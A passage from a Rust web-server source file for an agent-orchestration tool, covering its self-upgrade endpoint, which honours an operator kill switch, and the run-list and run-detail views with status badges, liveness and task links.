3598            &latest.tag_name,
3599            failed.as_deref(),
3600        );
3601        if decision != AutoUpgradeDecision::Trigger {
3602            let reason = match decision {
3603                AutoUpgradeDecision::Wait => "busy; waiting for runs and chats to finish",
3604                AutoUpgradeDecision::Skip(reason) => reason,
3605                AutoUpgradeDecision::Trigger => unreachable!(),
3606            };
3607            updater::log_step(&ui.home, &format!("auto-upgrade: {reason}"));
3608            return StatusCode::NO_CONTENT.into_response();
3609        }
3610        // Close run admission, then recheck under the same request gate.
3611        // A resume that got in before the flag is visible in `resuming`;
3612        // one that arrives afterwards is refused by `begin_resume`.
3613        ui.upgrade_spawned
3614            .store(true, std::sync::atomic::Ordering::SeqCst);
3615        if ui.auto_upgrade_busy() {
3616            ui.upgrade_spawned
3617                .store(false, std::sync::atomic::Ordering::SeqCst);
3618            updater::log_step(&ui.home, "auto-upgrade: work started; waiting for idle");
3619            return StatusCode::NO_CONTENT.into_response();
3620        }
3621        updater::log_step(&ui.home, "auto-upgrade: idle; beginning update and restart");
3622        return finish_upgrade_request(
3623            ui,
3624            upgrade_checked_for(
3625                ui,
3626                env!("CARGO_PKG_VERSION").into(),
3627                Ok(Some(latest)),
3628                trigger,
3629            ),
3630        );
3631    }
3632    finish_upgrade_request(ui, upgrade_prepare(ui).await)
3633}
3634
3635fn finish_upgrade_request(ui: &Ui, result: ApiResult<(StatusCode, Json<UpgradeView>)>) -> Response {
3636    match result {
3637        Ok(out) => {
3638            *ui.upgrade_request_error
3639                .lock()
3640                .unwrap_or_else(PoisonError::into_inner) = None;
3641            out.into_response()
3642        }
3643        Err(error) if error.status != StatusCode::CONFLICT => {
3644            let failure = UpgradeRequestFailure::new(error.message);
3645            *ui.upgrade_request_error
3646                .lock()
3647                .unwrap_or_else(PoisonError::into_inner) = Some(failure.clone());
3648            let mut response = (error.status, Json(&failure)).into_response();
3649            if let Some(value) = failure
3650                .retry_after_secs
3651                .and_then(|secs| secs.to_string().parse().ok())
3652            {
3653                response.headers_mut().insert("retry-after", value);
3654            }
3655            response
3656        }
3657        Err(error) => error.into_response(),
3658    }
3659}
3660
3661async fn upgrade_prepare(ui: &Arc<Ui>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3662    if ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
3663        return Err(ApiError::conflict(
3664            "an upgrade is already in progress (this process started one and it \
3665             has not finished or failed yet)",
3666        ));
3667    }
3668    let recorded = updater::read_progress(&ui.home);
3669    if let Some(p) = upgrade_in_motion(recorded.as_ref()) {
3670        return Err(ApiError::conflict(format!(
3671            "an upgrade is already in progress (stage: {}, {} -> {}). If it \
3672             stays stuck, restart the deck; on start it settles a stale record.",
3673            p.stage.as_str(),
3674            p.from,
3675            p.to.as_deref().unwrap_or("?"),
3676        )));
3677    }
3678
3679    // The same kill switch the background check honours (`disabled_by_env`),
3680    // checked before anything else for the same reason it is read before the
3681    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
3682    // contact GitHub from this process", and a button press must not
3683    // override that any more than a broken `magi.toml` may.
3684    if crate::updater::disabled_by_env() {
3685        return Ok((
3686            StatusCode::OK,
3687            Json(UpgradeView {
3688                from: env!("CARGO_PKG_VERSION").to_owned(),
3689                to: None,
3690                detail: format!(
3691                    "Automatic updates are disabled by {}. Nothing was parked \
3692                     and nothing restarted.",
3693                    crate::updater::NO_AUTOUPDATE_ENV
3694                ),
3695            }),
3696        ));
3697    }
3698
3699    // Check before disturbing listeners or scheduling: no available update
3700    // means there is no reason to restart anything.
3701    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
3702    let from = env!("CARGO_PKG_VERSION").to_owned();
3703    let latest = match crate::updater::Checker::new(&cfg.update) {
3704        Some(checker) => checker.newer_release().await,
3705        None => Ok(None),
3706    };
3707    upgrade_checked(ui, from, latest)
3708}
3709
3710fn upgrade_checked(
3711    ui: &Arc<Ui>,
3712    from: String,
3713    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3714) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3715    upgrade_checked_for(ui, from, latest, updater::UpgradeTrigger::Manual)
3716}
3717
3718fn upgrade_checked_for(
3719    ui: &Arc<Ui>,
3720    from: String,
3721    latest: anyhow::Result<Option<kaishin::LatestRelease>>,
3722    trigger: updater::UpgradeTrigger,
3723) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
3724    let latest = latest.map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?;
3725    let Some(latest) = latest else {
3726        return Ok((
3727            StatusCode::OK,
3728            Json(UpgradeView {
3729                from,
3730                to: None,
3731                detail: "Already on the newest release. Nothing was parked \
3732                         and nothing restarted."
3733                    .to_owned(),
3734            }),
3735        ));
3736    };
3737
3738    let detail = "Downloading the release, then restarting web and scheduler. Active task and chat workers keep running on their started executable; nothing is parked.".to_owned();
3739
3740    // Recorded before the spawn, not inside it: the phone's next `/api/health`
3741    // poll must see a `Downloading` stage immediately, not whenever the
3742    // spawned task happens to get scheduled.
3743    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
3744    progress.trigger = trigger;
3745    updater::write_progress_logged(&ui.home, &progress);
3746
3747    let home = ui.home.clone();
3748    ui.upgrade_spawned
3749        .store(true, std::sync::atomic::Ordering::SeqCst);
3750    let spawned = Arc::clone(&ui.upgrade_spawned);
3751    let runner = ui.upgrade_runner;
3752    let failed = ui.auto_failed_tag.clone();
3753    let tag = latest.tag_name.clone();
3754    tokio::spawn(async move {
3755        if let Err(e) = runner(home.clone()).await {
3756            if trigger == updater::UpgradeTrigger::Auto {
3757                *failed.lock().unwrap_or_else(PoisonError::into_inner) = Some(tag);
3758            }
3759            tracing::error!("the upgrade did not complete: {e:#}");
3760            // A failure of this attempt says nothing about a handover an
3761            // earlier request already has in flight; checked and written
3762            // under the progress lock.
3763            let _ = updater::fail_progress(&home, &format!("{e:#}"));
3764            // Release only after failure bookkeeping, before accepting a retry.
3765            spawned.store(false, std::sync::atomic::Ordering::SeqCst);
3766        }
3767    });
3768
3769    Ok((
3770        StatusCode::ACCEPTED,
3771        Json(UpgradeView {
3772            from,
3773            to: Some(latest.tag_name),
3774            detail,
3775        }),
3776    ))
3777}
3778
3779/// Replace the binary, then ask [`serve`] to hand the address over.
3780///
3781/// Separated from the handler so the 202 is already on its way, and separated
3782/// from the spawn so the successor starts only after the listener is dropped.
3783async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
3784    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
3785    // hang the upgrade for as long as the process lives.
3786    crate::updater::run_self_update(true, false, true).await?;
3787    updater::log_step(&home, "binary replaced - recording the replaced stage");
3788    if let Some(mut progress) = updater::read_progress(&home) {
3789        progress.advance(updater::Stage::Replaced);
3790        updater::write_progress_logged(&home, &progress);
3791    }
3792    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
3793    HANDOVER.notify_one();
3794    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
3795    Ok(())
3796}
3797
3798/// One row in the run list.
3799///
3800/// The list route returns this rather than whole `RunState`s: the summary of a
3801/// run is a few hundred bytes and the state is megabytes, and the difference
3802/// is what makes the history usable on a mobile link.
3803#[derive(Debug, Serialize)]
3804struct RunSummary {
3805    activity: String,
3806    id: String,
3807    short: String,
3808    status: String,
3809    done: bool,
3810    instruction: String,
3811    title: String,
3812    repo: String,
3813    repo_name: String,
3814    created_at: String,
3815    updated_at: String,
3816    candidates: usize,
3817    viable: usize,
3818    judges: usize,
3819    winner: Option<char>,
3820    reviews: usize,
3821    quota_losses: usize,
3822    event: Option<String>,
3823    /// The later attempt at the same task that replaced this one, if any.
3824    ///
3825    /// Two cards with one title is otherwise unreadable: this is what lets
3826    /// the deck say "superseded by 4043" on the older of the pair.
3827    superseded_by: Option<String>,
3828    /// Blocked on a question nobody has answered.
3829    ///
3830    /// Derived from the question store rather than stored on the run: an agent
3831    /// calling `magi ask` blocks mid-node, and writing a status from there
3832    /// would race the graph's own save of `run.json` and be overwritten at the
3833    /// next node boundary. Asking the store is always true and never races.
3834    waiting: bool,
3835    /// Whether the process recorded as driving this run can still be proven
3836    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
3837    /// rather than presenting its last graph node as still in flight.
3838    live: crate::run::Liveness,
3839    /// The land loop's last look at the pull request, when there is one.
3840    pr: Option<crate::run::PrRecord>,
3841    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
3842    /// design — never picked up by the PR-polling merge watcher, unlike an
3843    /// ordinary `Ready` that may still be a live landing candidate. See
3844    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
3845    /// re-deriving the same check from `status` and `merge.mode` itself.
3846    unmerged_by_design: bool,
3847    /// Derived presentation status matching [`RunDetailView::display_status`].
3848    /// Distinguishes parked runs, crashes, and waiting states from raw node statuses.
3849    #[serde(default)]
3850    display_status: String,
3851    /// What the status badge shows: `display_status`, or `superseded` for a
3852    /// non-live run a later attempt replaced. See [`run_badge_status`].
3853    #[serde(default)]
3854    badge_status: String,
3855    /// Who started the run, as the one label every surface shares; the
3856    /// "origin unknown" wording when the record predates origins.
3857    origin_label: String,
3858}
3859
3860impl RunSummary {
3861    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
3862        Self {
3863            activity: crate::run_progress::activity(state, live, waiting),
3864            id: state.id.clone(),
3865            short: state.short().to_owned(),
3866            status: status_word(state.status),
3867            done: state.status.done(),
3868            unmerged_by_design: state.unmerged_by_design(),
3869            display_status: run_display_status(state, waiting, live),
3870            badge_status: run_display_status(state, waiting, live),
3871            instruction: state.instruction.clone(),
3872            title: title_from(&state.instruction, TITLE_MAX),
3873            repo: state.repo.display().to_string(),
3874            repo_name: state
3875                .repo
3876                .file_name()
3877                .map(|n| n.to_string_lossy().into_owned())
3878                .unwrap_or_default(),
3879            created_at: state.created_at.to_string(),
3880            updated_at: state.updated_at.to_string(),
3881            candidates: state.candidates.len(),
3882            viable: state.viable().len(),
3883            judges: state.config.graph.judges,
3884            winner: state.winner().map(|c| c.label),
3885            reviews: state.reviews.len(),
3886            quota_losses: state.quota.len(),
3887            event: state
3888                .verification_blocking_cause()
3889                .or_else(|| state.events.last().map(|e| e.message.clone())),
3890            waiting,
3891            live,
3892            // Filled in by the list route, which is the only place that can
3893            // see a task's other attempts.
3894            superseded_by: None,
3895            pr: state.pr.clone(),
3896            origin_label: crate::run::origin_label(state.origin.as_ref()),
3897        }
3898    }
3899}
3900
3901/// `RunStatus` as the wire spells it. Every variant is one word, so this is
3902/// the same string `serde` writes for the status inside a full run.
3903fn status_word(status: RunStatus) -> String {
3904    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
3905    // was a third way of naming the same statuses, and one that changed
3906    // silently with a derive.
3907    status.as_str().to_owned()
3908}
3909
3910/// The presentation status for a run, unified across summaries and details.
3911///
3912/// Distinguishes runs that stopped deliberately at a node boundary (`"parked"`)
3913/// from genuine driver crashes (`"stale"`), while preserving `"waiting"` for
3914/// runs awaiting operator answers.
3915fn run_display_status(state: &RunState, waiting: bool, live: crate::run::Liveness) -> String {
3916    if waiting {
3917        return "waiting".to_owned();
3918    }
3919    if state.unmerged_by_design() {
3920        return "unmerged".to_owned();
3921    }
3922    if !state.status.done() && live == crate::run::Liveness::Dead {
3923        // The driver claim clears this flag before saving another event.
3924        // A previous park event can therefore outlive a resumed driver.
3925        if state.parked {
3926            return "parked".to_owned();
3927        }
3928        return "stale".to_owned();
3929    }
3930    status_word(state.status)
3931}
3932
3933/// The word a run's status badge shows: `display_status`, except that a
3934/// non-terminal run which is not provably live and was replaced by a later
3935/// attempt reads `superseded`, and a confirmed-dead one reads `stale`.
3936///
3937/// Same judgement `magi show` uses (`RunState::liveness`, the task's
3938/// successor); a live driver, `Unknown` liveness and terminal runs keep their
3939/// own word, so superseded never claims more than "not live".
3940fn run_badge_status(
3941    state: &RunState,
3942    display_status: &str,
3943    live: crate::run::Liveness,
3944    superseded: bool,
3945) -> String {
3946    if state.status.done() || live == crate::run::Liveness::Live {
3947        return display_status.to_owned();
3948    }
3949    if superseded {
3950        return "superseded".to_owned();
3951    }
3952    // A dead run's `display_status` is `stale`, except that a deliberate park
3953    // and an open owner question keep their own word: neither is a crash, and
3954    // the question still needs an answer. Anything else dead reads `stale`.
3955    if live == crate::run::Liveness::Dead && !matches!(display_status, "parked" | "waiting") {
3956        return "stale".to_owned();
3957    }
3958    display_status.to_owned()
3959}
3960
3961/// `?limit=`, clamped by the handler.
3962#[derive(Debug, Deserialize)]
3963struct ListQuery {
3964    #[serde(default)]
3965    limit: Option<usize>,
3966    /// Exact ids only; an empty value requests no rows (except queue blockers).
3967    ids: Option<String>,
3968}
3969
3970impl ListQuery {
3971    fn contains(&self, id: &str) -> bool {
3972        self.ids
3973            .as_ref()
3974            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
3975    }
3976}
3977
3978async fn runs_list(
3979    State(ui): State<Arc<Ui>>,
3980    Query(q): Query<ListQuery>,
3981) -> ApiResult<Json<Vec<RunSummary>>> {
3982    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
3983    blocking(move || {
3984        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
3985        let states = run_ids(&ui.runs)
3986            .into_iter()
3987            // A run whose state cannot be read is skipped, not fatal: a run
3988            // killed mid-write must not blank the history of every other one.
3989            // The detail route still explains it, which is where an operator
3990            // asking "what happened to that run" ends up.
3991            .filter_map(|id| read_run(&ui.runs, &id).ok())
3992            .take(limit)
3993            .filter(|run| q.contains(&run.id));
3994        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
3995        let summaries = summarize(
3996            states,
3997            &open_runs,
3998            &claimed,
3999            &superseded,
4000            |p| probe.borrow_mut().status(p),
4001            |p| probe.borrow_mut().started_at(p),
4002        );
4003        Ok(Json(summaries))
4004    })
4005    .await
4006}
4007
4008/// Everything the per-run rows share, read once: runs with an open question,
4009/// runs a live daemon claims, and the superseded map. Asking per run re-read
4010/// every question file and the daemon status file for each of hundreds of
4011/// runs, and spawned a process probe per run on Windows.
4012fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
4013    let open_runs: HashSet<String> = ui
4014        .questions
4015        .list()
4016        .into_iter()
4017        .filter(|q| q.status.open())
4018        .map(|q| q.run)
4019        .collect();
4020    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
4021        .into_iter()
4022        .map(|c| c.run)
4023        .collect();
4024    (open_runs, claimed, ui.queue.superseded())
4025}
4026
4027/// The rows of the run list, given everything that is shared between them.
4028///
4029/// Pure over its inputs so a test can count how often the process queries are
4030/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
4031/// takes, called at most once per run.
4032fn summarize<I, S, D>(
4033    states: I,
4034    open_runs: &HashSet<String>,
4035    claimed: &HashSet<String>,
4036    superseded: &HashMap<String, String>,
4037    mut status_q: S,
4038    mut identity_q: D,
4039) -> Vec<RunSummary>
4040where
4041    I: IntoIterator<Item = RunState>,
4042    S: FnMut(u32) -> Option<bool>,
4043    D: FnMut(u32) -> Option<String>,
4044{
4045    states
4046        .into_iter()
4047        .map(|state| {
4048            let waiting = open_runs.contains(&state.id);
4049            let live =
4050                state.liveness_with(claimed.contains(&state.id), &mut status_q, &mut identity_q);
4051            let mut row = RunSummary::of(&state, waiting, live);
4052            row.superseded_by = state
4053                .pr_taken_over_by
4054                .as_ref()
4055                .or_else(|| superseded.get(&state.id))
4056                .map(String::as_str)
4057                .map(crate::run::short_of)
4058                .map(str::to_owned);
4059            row.badge_status = run_badge_status(
4060                &state,
4061                &row.display_status,
4062                live,
4063                row.superseded_by.is_some(),
4064            );
4065            row
4066        })
4067        .collect()
4068}
4069
4070/// A run as the detail route hands it to the phone.
4071///
4072/// The whole state, flattened, plus `instruction_md`: the Task panel renders
4073/// the instruction as markdown, and the raw `instruction` field this struct
4074/// still carries (unchanged) is what a client wanting the exact bytes reads
4075/// instead.
4076#[derive(Debug, Serialize)]
4077struct RunDetailView {
4078    progress: crate::run_progress::Progress,
4079    stop_reason: Option<String>,
4080    #[serde(flatten)]
4081    state: RunState,
4082    instruction_md: Vec<md::Node>,
4083    /// Agent-written prose of the run, parsed to markdown nodes. Shapes
4084    /// mirror the records they come from, index for index; the raw strings
4085    /// stay in `state` and decide whether a block is shown at all.
4086    #[serde(flatten)]
4087    prose_md: RunProseMd,
4088    /// Whether a process is actually still driving this run: `"live"`,
4089    /// `"dead"`, or `"unknown"` — see [`crate::run::Liveness`].
4090    ///
4091    /// `state.active` (flattened in above) is only ever cleared by the
4092    /// process that populated it; a killed one leaves its last wave's
4093    /// entries behind. Carrying this alongside is what lets the phone rail
4094    /// tell "this seat is still answering" from "this seat was still
4095    /// answering when whatever was driving this run died" without a second
4096    /// route — see `ActiveSeat`'s own docs for why the entry alone is not
4097    /// proof of either. A string rather than a bool on purpose: a daemon
4098    /// claim proves `"live"`, `driver_pid` answering dead proves `"dead"`,
4099    /// and neither proven is `"unknown"` — folding that third case into
4100    /// either end of a bool is exactly the wrong call for a phone screen an
4101    /// operator uses to decide whether to wait or to act.
4102    live: crate::run::Liveness,
4103    /// Same field and meaning as [`RunSummary::unmerged_by_design`] — kept
4104    /// alongside the flattened `state` rather than inside it, since
4105    /// `RunState` has no business knowing which of its own methods a caller
4106    /// wants serialized.
4107    unmerged_by_design: bool,
4108    /// Same field and meaning as [`RunSummary::waiting`].
4109    #[serde(default)]
4110    waiting: bool,
4111    /// Same derived presentation status as [`RunSummary::display_status`].
4112    #[serde(default)]
4113    display_status: String,
4114    /// Same field and meaning as [`RunSummary::badge_status`].
4115    #[serde(default)]
4116    badge_status: String,
4117    /// Same field and meaning as [`RunSummary::done`]: whether the status is
4118    /// terminal. The client's `landView` keys on it, and the flattened state
4119    /// has no such field, so without it a finished run's stale `open` PR
4120    /// would be painted as live on the detail page.
4121    done: bool,
4122    /// Same field and meaning as [`RunSummary::superseded_by`] — the list
4123    /// route fills it from [`Queue::superseded`], the detail route from
4124    /// [`Queue::superseded_by`], and both read the same underlying task
4125    /// order. Without this the detail page could only ever show a red
4126    /// `BLOCKED`/`FAILED` chip on a run a later attempt had already finished,
4127    /// with nothing anywhere saying so — an operator opening it had no way
4128    /// to tell "this is done elsewhere" from "this still needs a retry".
4129    superseded_by: Option<String>,
4130    /// The task's current attempt, when this run is an older one — resolved
4131    /// from [`Queue::latest_attempt`] and this run's own state, not left for
4132    /// the client to derive.
4133    ///
4134    /// Three things a client cannot safely do on its own drove this onto the
4135    /// server: it has to name the chain's *current head*, not just the next
4136    /// attempt (`superseded_by` above), because an intermediate retry in a
4137    /// longer chain can itself still be unresolved; it has to resolve to a
4138    /// real id rather than a short id a client would have to guess a full id
4139    /// from, which is ambiguous the moment two runs share a suffix; and it
4140    /// has to read that head's own status directly, because whether a run
4141    /// list a client happens to have cached even contains that attempt
4142    /// depends on a page limit this route knows nothing about.
4143    latest_attempt: Option<LatestAttempt>,
4144    /// The queue task this run belongs to, so the detail page can link back
4145    /// to the task's own page. `None` for a run nobody queued (`magi run`).
4146    task: Option<TaskRef>,
4147    /// [`crate::run::Origin::label`], or the "origin unknown" wording for a
4148    /// run recorded before origins existed. `origin` itself (flattened in
4149    /// with `state`) is `null` in that case.
4150    origin_label: String,
4151    /// Each recorded pass over this run, with the cause it stopped for. Empty
4152    /// for a run from before passes were kept: its earlier passes are unknown.
4153    pass_views: Vec<PassView>,
4154}
4155
4156/// A task named from a run's detail page.
4157#[derive(Debug, Serialize)]
4158struct TaskRef {
4159    id: String,
4160    short: String,
4161    title: String,
4162    /// [`Source::label`], e.g. `chat@a1b2`.
4163    source_label: String,
4164    /// Where the task came from, when that place has a page; see [`source_link`].
4165    source_link: Option<SourceLink>,
4166    /// The task's own status (`TaskStatus::as_str`), independent of this run's.
4167    status: &'static str,
4168    attempts: usize,
4169    max_attempts: usize,
4170    /// This run is the last entry of the task's run list.
4171    is_latest: bool,
4172    /// The task's newest run, when it is not this one.
4173    latest: Option<RunBrief>,
4174    /// The run that finished a `done` task (merged, or already in the base).
4175    finished_by: Option<RunBrief>,
4176    /// The task is `done` but no run on record finished it: closed by hand.
4177    closed_by_hand: bool,
4178}
4179
4180/// The page that filed a task, as the UI links to it.
4181#[derive(Debug, PartialEq, Eq, Serialize)]
4182struct SourceLink {
4183    /// `chat` (a conversation) or `run` (a run's node).
4184    kind: &'static str,
4185    /// The full id, never the short one in the label.
4186    id: String,
4187    /// The hash route that opens it.
4188    href: String,
4189}
4190
4191/// Percent-encode everything outside the URL-unreserved set.
4192fn encode_segment(raw: &str) -> String {
4193    let mut out = String::with_capacity(raw.len());
4194    for b in raw.bytes() {
4195        if b.is_ascii_alphanumeric() || matches!(b, b'-' | b'.' | b'_' | b'~') {
4196            out.push(b as char);
4197        } else {
4198            out.push_str(&format!("%{b:02X}"));
4199        }
4200    }
4201    out
4202}
4203
4204/// The one place that decides where a task's source links to. A chat
4205/// conversation opens `#/chat/<id>`, any other agent node `#/runs/<id>`;
4206/// a person or an imported issue has no page, so no link.
4207fn source_link(source: &Source) -> Option<SourceLink> {
4208    let Source::Agent { run, node } = source else {
4209        return None;
4210    };
4211    let (kind, route) = if node == crate::queue::CHAT_NODE {
4212        ("chat", "chat")
4213    } else {
4214        ("run", "runs")
4215    };
4216    Some(SourceLink {
4217        kind,
4218        id: run.clone(),
4219        href: id_links::page_href(route, run),
4220    })
4221}
4222
4223/// The parent task of a follow-up, when its file can still be read.
4224#[derive(Debug, Serialize, PartialEq)]
4225struct FollowUpParent {
4226    id: String,
4227    short: String,
4228    title: String,
4229    /// The parent's own status (`TaskStatus::as_str`).
4230    status: &'static str,
4231    href: String,
4232}
4233
4234/// The merged run a follow-up was filed from.
4235#[derive(Debug, Serialize, PartialEq)]
4236struct FollowUpRun {
4237    id: String,
4238    short: String,
4239    /// `None` when the run's record cannot be read.
4240    status: Option<&'static str>,
4241    /// `None` unless the record could be read: never a dead link.
4242    href: Option<String>,
4243}
4244
4245/// Where a follow-up task came from, resolved once per task page so the flow
4246/// chart and the detail block cannot disagree. See [`followup_origin`].
4247#[derive(Debug, Serialize, PartialEq)]
4248struct FollowUpOrigin {
4249    /// Present only when `origin_task` is set and that task still exists.
4250    parent: Option<FollowUpParent>,
4251    run: FollowUpRun,
4252    /// The merged pull request, verbatim. Not an href: the client passes it
4253    /// through `forgeUrl()` and renders text when that refuses it (the one
4254    /// exception to "the href rule is Rust's alone", since a forge URL is
4255    /// data from a record, not a route).
4256    pr: String,
4257    findings: Vec<String>,
4258    generation: u32,
4259}
4260
4261/// The one place that decides what a follow-up links to. A parent that cannot
4262/// be read (gone, or an id that names nothing) is `None`, never an error.
4263fn followup_origin(
4264    fu: &crate::queue::FollowUp,
4265    task: impl Fn(&str) -> Option<Task>,
4266    run: impl Fn(&str) -> Option<RunState>,
4267) -> FollowUpOrigin {
4268    let parent = fu
4269        .origin_task
4270        .as_deref()
4271        .and_then(task)
4272        .map(|t| FollowUpParent {
4273            short: t.short().to_owned(),
4274            href: format!("#/tasks/{}", encode_segment(&t.id)),
4275            status: t.status.as_str(),
4276            title: t.title,
4277            id: t.id,
4278        });
4279    let state = run(&fu.run);
4280    FollowUpOrigin {
4281        parent,
4282        run: FollowUpRun {
4283            short: run::short_of(&fu.run).to_owned(),
4284            status: state.as_ref().map(|s| s.status.as_str()),
4285            href: state
4286                .is_some()
4287                .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4288            id: fu.run.clone(),
4289        },
4290        pr: fu.pr.clone(),
4291        findings: fu.findings.clone(),
4292        generation: fu.generation,
4293    }
4294}
4295
4296/// Another run of the same task, as named from a run's detail page.
4297#[derive(Debug, Serialize)]
4298struct RunBrief {
4299    id: String,
4300    short: String,
4301    /// `None` when the run's record cannot be read.
4302    status: Option<&'static str>,
4303    /// The task-page wording for how that pass ended.
4304    outcome: String,
4305    /// See [`TaskRunView::badge`]; always `None` here (no liveness at hand).
4306    badge: Option<String>,
4307}
4308
4309/// The task's overall outcome as seen from `this_run`'s page, classified with
4310/// the same exits the task page's flowchart uses.
4311fn task_outcome(
4312    task: &Task,
4313    this_run: &str,
4314    max_attempts: usize,
4315    read: impl Fn(&str) -> Option<RunState>,
4316) -> TaskRef {
4317    let max_attempts = task.effective_attempt_limit(max_attempts);
4318    let history = task_history(task, read);
4319    let brief = |h: &TaskRunView| RunBrief {
4320        id: h.id.clone(),
4321        short: h.short.clone(),
4322        status: h.status,
4323        outcome: h.exit.edge_label(h.status),
4324        badge: h.badge.clone(),
4325    };
4326    let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4327    let latest = if is_latest {
4328        None
4329    } else {
4330        history.last().map(brief)
4331    };
4332    let done = task.status == TaskStatus::Done;
4333    let finished_by = done
4334        .then(|| {
4335            history
4336                .iter()
4337                .rev()
4338                .find(|h| {
4339                    matches!(
4340                        h.exit,
4341                        RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4342                    )
4343                })
4344                .map(brief)
4345        })
4346        .flatten();
4347    TaskRef {
4348        short: task.short().to_owned(),
4349        title: task.title.clone(),
4350        id: task.id.clone(),
4351        source_label: task.source.label(),
4352        source_link: source_link(&task.source),
4353        status: task.status.as_str(),
4354        attempts: task.attempts,
4355        max_attempts,
4356        is_latest,
4357        latest,
4358        closed_by_hand: done && finished_by.is_none(),
4359        finished_by,
4360    }
4361}
4362
4363/// The task's current attempt, as seen from an older one's detail page.
4364#[derive(Debug, Serialize)]
4365struct LatestAttempt {
4366    id: String,
4367    short: String,
4368    /// Whether this attempt itself settled with a result nobody needs to
4369    /// act on further. Deliberately narrow: only `Merged` and `Ready` count.
4370    /// `VerifiedNoop` is excluded on purpose — it is a candidate's own
4371    /// unconfirmed claim that no change was needed, which is exactly why it
4372    /// settles the task through `Held` rather than `Done` and still waits on
4373    /// a human to check the evidence; showing an older run as "finished
4374    /// elsewhere" on the strength of an unverified claim would bury the
4375    /// thing that still needs a look. `Blocked`/`Failed`/`Stalled` and every
4376    /// in-flight status are excluded because they are exactly the
4377    /// unresolved states this field exists to tell apart from a real finish.
4378    resolved: bool,
4379    /// The attempt's own recorded status, so the page can say where it
4380    /// stands while it is not resolved yet.
4381    status: RunStatus,
4382    /// Whether that status is terminal (nothing is still running it).
4383    done: bool,
4384}
4385
4386/// Markdown for the free-text prose of a run, parallel to `RunState`.
4387#[derive(Debug, Default, Serialize)]
4388struct RunProseMd {
4389    /// `None` when the run has no design deliberation.
4390    advice_md: Option<AdviceMd>,
4391    /// One entry per candidate: the summary.
4392    candidate_summaries_md: Vec<Vec<md::Node>>,
4393    /// One entry per review round, in `reviews` order.
4394    reviews_md: Vec<RoundMd>,
4395}
4396
4397#[derive(Debug, Default, Serialize)]
4398struct AdviceMd {
4399    synthesis: Vec<md::Node>,
4400    /// One per record; empty for a seat with no proposal.
4401    approaches: Vec<Vec<md::Node>>,
4402}
4403
4404#[derive(Debug, Default, Serialize)]
4405struct RoundMd {
4406    /// One per reviewer record.
4407    reviewers: Vec<ReviewerMd>,
4408    /// One per `reconsideration` entry: the reason.
4409    reconsideration: Vec<Vec<md::Node>>,
4410    fix: Option<FixMd>,
4411}
4412
4413#[derive(Debug, Default, Serialize)]
4414struct ReviewerMd {
4415    summary: Vec<md::Node>,
4416    /// One per finding, in recorded order (not the display order).
4417    findings: Vec<Vec<md::Node>>,
4418}
4419
4420#[derive(Debug, Default, Serialize)]
4421struct FixMd {
4422    notes: Vec<md::Node>,
4423    /// One per rejection: the argument.
4424    rejected: Vec<Vec<md::Node>>,
4425}
4426
4427/// Parse a run's agent-written prose; a pure function of the state.
4428fn run_prose_md(state: &RunState) -> RunProseMd {
4429    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4430    RunProseMd {
4431        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4432            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4433            approaches: a
4434                .records
4435                .iter()
4436                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4437                .collect(),
4438        }),
4439        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4440        reviews_md: state
4441            .reviews
4442            .iter()
4443            .map(|round| RoundMd {
4444                reviewers: round
4445                    .reviews
4446                    .iter()
4447                    .map(|rec| ReviewerMd {
4448                        summary: nodes(&rec.summary),
4449                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4450                    })
4451                    .collect(),
4452                reconsideration: round
4453                    .reconsideration
4454                    .iter()
4455                    .map(|rv| nodes(&rv.reason))
4456                    .collect(),
4457                fix: round.fix.as_ref().map(|fix| FixMd {
4458                    notes: nodes(&fix.notes),
4459                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4460                }),
4461            })
4462            .collect(),
4463    }
4464}
4465
4466impl RunDetailView {
4467    fn of(
4468        state: RunState,
4469        waiting: bool,
4470        live: crate::run::Liveness,
4471        superseded_by: Option<String>,
4472        latest_attempt: Option<LatestAttempt>,
4473        task: Option<TaskRef>,
4474    ) -> Self {
4475        let display_status = run_display_status(&state, waiting, live);
4476        let stop_reason = crate::stop_reason::of(
4477            &state,
4478            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4479        );
4480        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4481        Self {
4482            progress: crate::run_progress::build(&state, live, waiting),
4483            stop_reason,
4484            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4485            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4486            prose_md: run_prose_md(&state),
4487            origin_label: crate::run::origin_label(state.origin.as_ref()),
